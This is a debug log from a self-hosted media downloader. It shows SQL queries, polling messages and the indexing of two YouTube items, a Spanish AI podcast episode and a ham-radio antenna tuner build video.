[1] 21:54:27.552 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1283] 21:54:27.552 [debug] Current batch of media processed. Will check again in 1000ms 21:54:28.507 [debug] Current batch of media processed. Will check again in 1000ms 21:54:28.553 [debug] Current batch of media processed. Will check again in 1000ms 21:54:29.508 [debug] Current batch of media processed. Will check again in 1000ms 21:54:29.554 [debug] Current batch of media processed. Will check again in 1000ms 21:54:30.509 [debug] Current batch of media processed. Will check again in 1000ms 21:54:30.555 [debug] Current batch of media processed. Will check again in 1000ms 21:54:31.510 [debug] Current batch of media processed. Will check again in 1000ms 21:54:31.556 [debug] Current batch of media processed. Will check again in 1000ms 21:54:32.511 [debug] Current batch of media processed. Will check again in 1000ms 21:54:32.557 [debug] Current batch of media processed. Will check again in 1000ms 21:54:33.512 [debug] Current batch of media processed. Will check again in 1000ms 21:54:33.558 [debug] Current batch of media processed. Will check again in 1000ms 21:54:34.513 [debug] Current batch of media processed. Will check again in 1000ms 21:54:34.559 [debug] Current batch of media processed. Will check again in 1000ms 21:54:35.514 [debug] Current batch of media processed. Will check again in 1000ms 21:54:35.560 [debug] Current batch of media processed. Will check again in 1000ms 21:54:36.515 [debug] Current batch of media processed. Will check again in 1000ms 21:54:36.561 [debug] Current batch of media processed. Will check again in 1000ms 21:54:37.516 [debug] Current batch of media processed. Will check again in 1000ms 21:54:37.562 [debug] Current batch of media processed. Will check again in 1000ms 21:54:38.517 [debug] Current batch of media processed. Will check again in 1000ms 21:54:38.563 [debug] Current batch of media processed. Will check again in 1000ms 21:54:39.518 [debug] Current batch of media processed. Will check again in 1000ms 21:54:39.564 [debug] Current batch of media processed. Will check again in 1000ms 21:54:40.519 [debug] Current batch of media processed. Will check again in 1000ms 21:54:40.565 [debug] Current batch of media processed. Will check again in 1000ms 21:54:41.520 [debug] Current batch of media processed. Will check again in 1000ms 21:54:41.566 [debug] Current batch of media processed. Will check again in 1000ms 21:54:42.521 [debug] Current batch of media processed. Will check again in 1000ms 21:54:42.567 [debug] Current batch of media processed. Will check again in 1000ms 21:54:43.522 [debug] Current batch of media processed. Will check again in 1000ms 21:54:43.568 [debug] Current batch of media processed. Will check again in 1000ms 21:54:44.523 [debug] Current batch of media processed. Will check again in 1000ms 21:54:44.569 [debug] Current batch of media processed. Will check again in 1000ms 21:54:45.524 [debug] Current batch of media processed. Will check again in 1000ms 21:54:45.570 [debug] Current batch of media processed. Will check again in 1000ms 21:54:46.525 [debug] Current batch of media processed. Will check again in 1000ms 21:54:46.571 [debug] Current batch of media processed. Will check again in 1000ms 21:54:47.526 [debug] Current batch of media processed. Will check again in 1000ms 21:54:47.572 [debug] Current batch of media processed. Will check again in 1000ms 21:54:48.527 [debug] Current batch of media processed. Will check again in 1000ms 21:54:48.573 [debug] Current batch of media processed. Will check again in 1000ms 21:54:49.528 [debug] Current batch of media processed. Will check again in 1000ms 21:54:49.574 [debug] Current batch of media processed. Will check again in 1000ms 21:54:50.529 [debug] Current batch of media processed. Will check again in 1000ms 21:54:50.575 [debug] Current batch of media processed. Will check again in 1000ms 21:54:51.079 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:51.530 [debug] Current batch of media processed. Will check again in 1000ms 21:54:51.576 [debug] Current batch of media processed. Will check again in 1000ms 21:54:52.531 [debug] Current batch of media processed. Will check again in 1000ms 21:54:52.577 [debug] Current batch of media processed. Will check again in 1000ms 21:54:53.532 [debug] Current batch of media processed. Will check again in 1000ms 21:54:53.578 [debug] Current batch of media processed. Will check again in 1000ms 21:54:54.533 [debug] Current batch of media processed. Will check again in 1000ms 21:54:54.579 [debug] Current batch of media processed. Will check again in 1000ms 21:54:55.534 [debug] Current batch of media processed. Will check again in 1000ms 21:54:55.580 [debug] Current batch of media processed. Will check again in 1000ms 21:54:56.535 [debug] Current batch of media processed. Will check again in 1000ms 21:54:56.581 [debug] Current batch of media processed. Will check again in 1000ms 21:54:57.536 [debug] Current batch of media processed. Will check again in 1000ms 21:54:57.582 [debug] Current batch of media processed. Will check again in 1000ms 21:54:58.537 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣7️⃣: IAMIQuien - Daniel Diaz - Arquitecto Software🏗️💻\n\nHoy va de VibeCoding, de desarrolladores aumentados y seguimos con mas profesionales con super poderes, hoy ha venido a divertirse a hashtag#IAMIQUIEN Daniel Díaz Nogales, un arquitecto de software con super poderes... cuales... el te los cuenta!\n\nDavid García Martínez y yo estamos encantados con esta serie, pues te contamos como persona reales, amigos y compañeros ven la IA. \n\nEs cierto que no es un conversacion con Jensen Huang CEO de Nvidia o con Satya Nadella CEO de Microsoft... ellos te cuenta lo estrategico, con esta serie te contamos lo real, como profesionales y personas com tu lo usan en su dia a dia!\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #vibecoding", "duration" => 899, "filename" => "/downloads/music/IA mí QUÉ/EP.47: IAMIQUIEN con DANIEL DIAZ.m4a", "id" => "M-oSptEq5VA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=M-oSptEq5VA", "playlist_index" => 3, "timestamp" => 1770107532, "title" => "EP.47: IAMIQUIEN con DANIEL DIAZ", "upload_date" => "20260203"} 21:54:58.538 [debug] QUERY OK source="sources" db=0.6ms idle=1807.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:54:58.539 [debug] QUERY OK source="sources" db=0.4ms idle=1808.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:54:58.540 [debug] QUERY OK source="media_items" db=0.7ms idle=1808.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 08:32:12Z], 2] 21:54:58.542 [debug] QUERY OK source="media_items" db=1.7ms idle=1758.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣7️⃣: IAMIQuien - Daniel Diaz - Arquitecto Software🏗️💻\n\nHoy va de VibeCoding, de desarrolladores aumentados y seguimos con mas profesionales con super poderes, hoy ha venido a divertirse a hashtag#IAMIQUIEN Daniel Díaz Nogales, un arquitecto de software con super poderes... cuales... el te los cuenta!\n\nDavid García Martínez y yo estamos encantados con esta serie, pues te contamos como persona reales, amigos y compañeros ven la IA. \n\nEs cierto que no es un conversacion con Jensen Huang CEO de Nvidia o con Satya Nadella CEO de Microsoft... ellos te cuenta lo estrategico, con esta serie te contamos lo real, como profesionales y personas com tu lo usan en su dia a dia!\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #vibecoding", "EP.47: IAMIQUIEN con DANIEL DIAZ", "dad26db4-7821-48dc-ad55-3bbea033a06f", 899, false, "M-oSptEq5VA", "https://www.youtube.com/watch?v=M-oSptEq5VA", 3, "/downloads/music/IA mí QUÉ/EP.47: IAMIQUIEN con DANIEL DIAZ.m4a", false, false, false, 2, [], 97, ~U[2026-02-03 08:32:12Z], ~U[2026-02-07 20:54:58Z], ~U[2026-02-07 20:54:58Z], "#IAMIQUE 👉🏼 Ep 4️⃣7️⃣: IAMIQuien - Daniel Diaz - Arquitecto Software🏗️💻\n\nHoy va de VibeCoding, de desarrolladores aumentados y seguimos con mas profesionales con super poderes, hoy ha venido a divertirse a hashtag#IAMIQUIEN Daniel Díaz Nogales, un arquitecto de software con super poderes... cuales... el te los cuenta!\n\nDavid García Martínez y yo estamos encantados con esta serie, pues te contamos como persona reales, amigos y compañeros ven la IA. \n\nEs cierto que no es un conversacion con Jensen Huang CEO de Nvidia o con Satya Nadella CEO de Microsoft... ellos te cuenta lo estrategico, con esta serie te contamos lo real, como profesionales y personas com tu lo usan en su dia a dia!\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #vibecoding", "EP.47: IAMIQUIEN con DANIEL DIAZ", 899, false, "M-oSptEq5VA", "https://www.youtube.com/watch?v=M-oSptEq5VA", "/downloads/music/IA mí QUÉ/EP.47: IAMIQUIEN con DANIEL DIAZ.m4a", false, 2, ~U[2026-02-03 08:32:12Z]] 21:54:58.543 [debug] QUERY OK source="sources" db=0.4ms idle=759.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:54:58.543 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:58.544 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1255] 21:54:58.544 [debug] Current batch of media processed. Will check again in 1000ms 21:54:58.583 [debug] Current batch of media processed. Will check again in 1000ms 21:54:59.545 [debug] Current batch of media processed. Will check again in 1000ms 21:54:59.584 [debug] Current batch of media processed. Will check again in 1000ms 21:55:00.071 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:00.546 [debug] Current batch of media processed. Will check again in 1000ms 21:55:00.585 [debug] Current batch of media processed. Will check again in 1000ms 21:55:01.547 [debug] Current batch of media processed. Will check again in 1000ms 21:55:01.586 [debug] Current batch of media processed. Will check again in 1000ms 21:55:02.548 [debug] Current batch of media processed. Will check again in 1000ms 21:55:02.587 [debug] Current batch of media processed. Will check again in 1000ms 21:55:03.549 [debug] Current batch of media processed. Will check again in 1000ms 21:55:03.588 [debug] Current batch of media processed. Will check again in 1000ms 21:55:04.550 [debug] Current batch of media processed. Will check again in 1000ms 21:55:04.589 [debug] Current batch of media processed. Will check again in 1000ms 21:55:05.551 [debug] Current batch of media processed. Will check again in 1000ms 21:55:05.590 [debug] Current batch of media processed. Will check again in 1000ms 21:55:06.552 [debug] Current batch of media processed. Will check again in 1000ms 21:55:06.591 [debug] Current batch of media processed. Will check again in 1000ms 21:55:07.553 [debug] Current batch of media processed. Will check again in 1000ms 21:55:07.592 [debug] Current batch of media processed. Will check again in 1000ms 21:55:08.554 [debug] Current batch of media processed. Will check again in 1000ms 21:55:08.593 [debug] Current batch of media processed. Will check again in 1000ms 21:55:09.555 [debug] Current batch of media processed. Will check again in 1000ms 21:55:09.594 [debug] Current batch of media processed. Will check again in 1000ms 21:55:10.556 [debug] Current batch of media processed. Will check again in 1000ms 21:55:10.595 [debug] Current batch of media processed. Will check again in 1000ms 21:55:11.557 [debug] Current batch of media processed. Will check again in 1000ms 21:55:11.596 [debug] Current batch of media processed. Will check again in 1000ms 21:55:12.558 [debug] Current batch of media processed. Will check again in 1000ms 21:55:12.597 [debug] Current batch of media processed. Will check again in 1000ms 21:55:13.559 [debug] Current batch of media processed. Will check again in 1000ms 21:55:13.598 [debug] Current batch of media processed. Will check again in 1000ms 21:55:14.560 [debug] Current batch of media processed. Will check again in 1000ms 21:55:14.599 [debug] Current batch of media processed. Will check again in 1000ms 21:55:15.561 [debug] Current batch of media processed. Will check again in 1000ms 21:55:15.600 [debug] Current batch of media processed. Will check again in 1000ms 21:55:16.562 [debug] Current batch of media processed. Will check again in 1000ms 21:55:16.601 [debug] Current batch of media processed. Will check again in 1000ms 21:55:17.563 [debug] Current batch of media processed. Will check again in 1000ms 21:55:17.602 [debug] Current batch of media processed. Will check again in 1000ms 21:55:18.564 [debug] Current batch of media processed. Will check again in 1000ms 21:55:18.603 [debug] Current batch of media processed. Will check again in 1000ms 21:55:19.565 [debug] Current batch of media processed. Will check again in 1000ms 21:55:19.604 [debug] Current batch of media processed. Will check again in 1000ms 21:55:20.566 [debug] Current batch of media processed. Will check again in 1000ms 21:55:20.605 [debug] Current batch of media processed. Will check again in 1000ms 21:55:21.081 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:21.567 [debug] Current batch of media processed. Will check again in 1000ms 21:55:21.606 [debug] Current batch of media processed. Will check again in 1000ms 21:55:22.568 [debug] Current batch of media processed. Will check again in 1000ms 21:55:22.607 [debug] Current batch of media processed. Will check again in 1000ms 21:55:23.569 [debug] Current batch of media processed. Will check again in 1000ms 21:55:23.608 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "En este video vemos el montaje de un semikit de acoplador de antenas automático de exterior, para 350 W y bandas de HF. Aprovecho para felicitaros las fiestas a todos: Feliz Navidad y feliz año nuevo 2026.\n\nEnlace de compra (no es necesariamente el mas barato):\nhttps://www.banggood.com/ATU350-3_5-54MHz-350W-HF-Antenna-Tuner-Automatic-Antenna-Tuner-DIY-Kit-by-N7DDC-ATU-100-Upgraded-p-2023192.html\n\n#atu350 #n7ddc #atu100 #acopladorantenas #diyelectronics #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 3109, "filename" => "/downloads/music/ea3grn/176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W.mp4", "id" => "-IAJs657RpQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-IAJs657RpQ", "playlist_index" => 3, "timestamp" => 1766508767, "title" => "176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W", "upload_date" => "20251223"} 21:55:23.609 [debug] QUERY OK source="sources" db=0.4ms idle=1878.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:55:23.610 [debug] QUERY OK source="sources" db=0.3ms idle=1878.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:55:23.611 [debug] QUERY OK source="media_items" db=0.6ms idle=1774.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 16:52:47Z], 3] 21:55:23.612 [debug] QUERY OK source="media_items" db=1.0ms idle=880.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video vemos el montaje de un semikit de acoplador de antenas automático de exterior, para 350 W y bandas de HF. Aprovecho para felicitaros las fiestas a todos: Feliz Navidad y feliz año nuevo 2026.\n\nEnlace de compra (no es necesariamente el mas barato):\nhttps://www.banggood.com/ATU350-3_5-54MHz-350W-HF-Antenna-Tuner-Automatic-Antenna-Tuner-DIY-Kit-by-N7DDC-ATU-100-Upgraded-p-2023192.html\n\n#atu350 #n7ddc #atu100 #acopladorantenas #diyelectronics #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W", "c0de8bc6-f1ff-4206-a033-03bc8226b24f", 3109, false, "-IAJs657RpQ", "https://www.youtube.com/watch?v=-IAJs657RpQ", 3, "/downloads/music/ea3grn/176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W.mp4", false, false, false, 3, [], 98, ~U[2025-12-23 16:52:47Z], ~U[2026-02-07 20:55:23Z], ~U[2026-02-07 20:55:23Z], "En este video vemos el montaje de un semikit de acoplador de antenas automático de exterior, para 350 W y bandas de HF. Aprovecho para felicitaros las fiestas a todos: Feliz Navidad y feliz año nuevo 2026.\n\nEnlace de compra (no es necesariamente el mas barato):\nhttps://www.banggood.com/ATU350-3_5-54MHz-350W-HF-Antenna-Tuner-Automatic-Antenna-Tuner-DIY-Kit-by-N7DDC-ATU-100-Upgraded-p-2023192.html\n\n#atu350 #n7ddc #atu100 #acopladorantenas #diyelectronics #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W", 3109, false, "-IAJs657RpQ", "https://www.youtube.com/watch?v=-IAJs657RpQ", "/downloads/music/ea3grn/176 - MONTANDO ACOPLADOR AUTOMÁTICO EXTERIOR 350W.mp4", false, 3, ~U[2025-12-23 16:52:47Z]] 21:55:23.613 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=774.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:55:23.614 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:55:23.615 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1286] 21:55:23.615 [debug] Current batch of media processed. Will check again in 1000ms 21:55:24.570 [debug] Current batch of media processed. Will check again in 1000ms 21:55:24.615 [debug] Current batch of media processed. Will check again in 1000ms 21:55:25.571 [debug] Current batch of media processed. Will check again in 1000ms 21:55:25.616 [debug] Current batch of media processed. Will check again in 1000ms 21:55:26.572 [debug] Current batch of media processed. Will check again in 1000ms 21:55:26.617 [debug] Current batch of media processed. Will check again in 1000ms 21:55:27.573 [debug] Current batch of media processed. Will check again in 1000ms 21:55:27.618 [debug] Current batch of media processed. Will check again in 1000ms 21:55:28.574 [debug] Current batch of media processed. Will check again in 1000ms 21:55:28.619 [debug] Current batch of media processed. Will check again in 1000ms 21:55:29.575 [debug] Current batch of media processed. Will check again in 1000ms 21:55:29.620 [debug] Current batch of media processed. Will check again in 1000ms 21:55:30.576 [debug] Current batch of media processed. Will check again in 1000ms 21:55:30.621 [debug] Current batch of media processed. Will check again in 1000ms 21:55:31.577 [debug] Current batch of media processed. Will check again in 1000ms 21:55:31.622 [debug] Current batch of media processed. Will check again in 1000ms 21:55:32.578 [debug] Current batch of media processed. Will check again in 1000ms 21:55:32.623 [debug] Current batch of media processed. Will check again in 1000ms 21:55:33.579 [debug] Current batch of media processed. Will check again in 1000ms 21:55:33.624 [debug] Current batch of media processed. Will check again in 1000ms 21:55:34.580 [debug] Current batch of media processed. Will check again in 1000ms 21:55:34.625 [debug] Current batch of media processed. Will check again in 1000ms 21:55:35.581 [debug] Current batch of media processed. Will check again in 1000ms 21:55:35.626 [debug] Current batch of media processed. Will check again in 1000ms 21:55:36.582 [debug] Current batch of media processed. Will check again in 1000ms 21:55:36.627 [debug] Current batch of media processed. Will check again in 1000ms 21:55:37.583 [debug] Current batch of media processed. Will check again in 1000ms 21:55:37.628 [debug] Current batch of media processed. Will check again in 1000ms 21:55:38.584 [debug] Current batch of media processed. Will check again in 1000ms 21:55:38.629 [debug] Current batch of media processed. Will check again in 1000ms 21:55:39.585 [debug] Current batch of media processed. Will check again in 1000ms 21:55:39.630 [debug] Current batch of media processed. Will check again in 1000ms 21:55:40.586 [debug] Current batch of media processed. Will check again in 1000ms 21:55:40.631 [debug] Current batch of media processed. Will check again in 1000ms 21:55:41.587 [debug] Current batch of media processed. Will check again in 1000ms 21:55:41.632 [debug] Current batch of media processed. Will check again in 1000ms 21:55:42.588 [debug] Current batch of media processed. Will check again in 1000ms 21:55:42.633 [debug] Current batch of media processed. Will check again in 1000ms 21:55:43.589 [debug] Current batch of media processed. Will check again in 1000ms 21:55:43.634 [debug] Current batch of media processed. Will check again in 1000ms 21:55:44.590 [debug] Current batch of media processed. Will check again in 1000ms 21:55:44.635 [debug] Current batch of media processed. Will check again in 1000ms 21:55:45.591 [debug] Current batch of media processed. Will check again in 1000ms 21:55:45.636 [debug] Current batch of media processed. Will check again in 1000ms 21:55:46.592 [debug] Current batch of media processed. Will check again in 1000ms 21:55:46.637 [debug] Current batch of media processed. Will check again in 1000ms 21:55:47.593 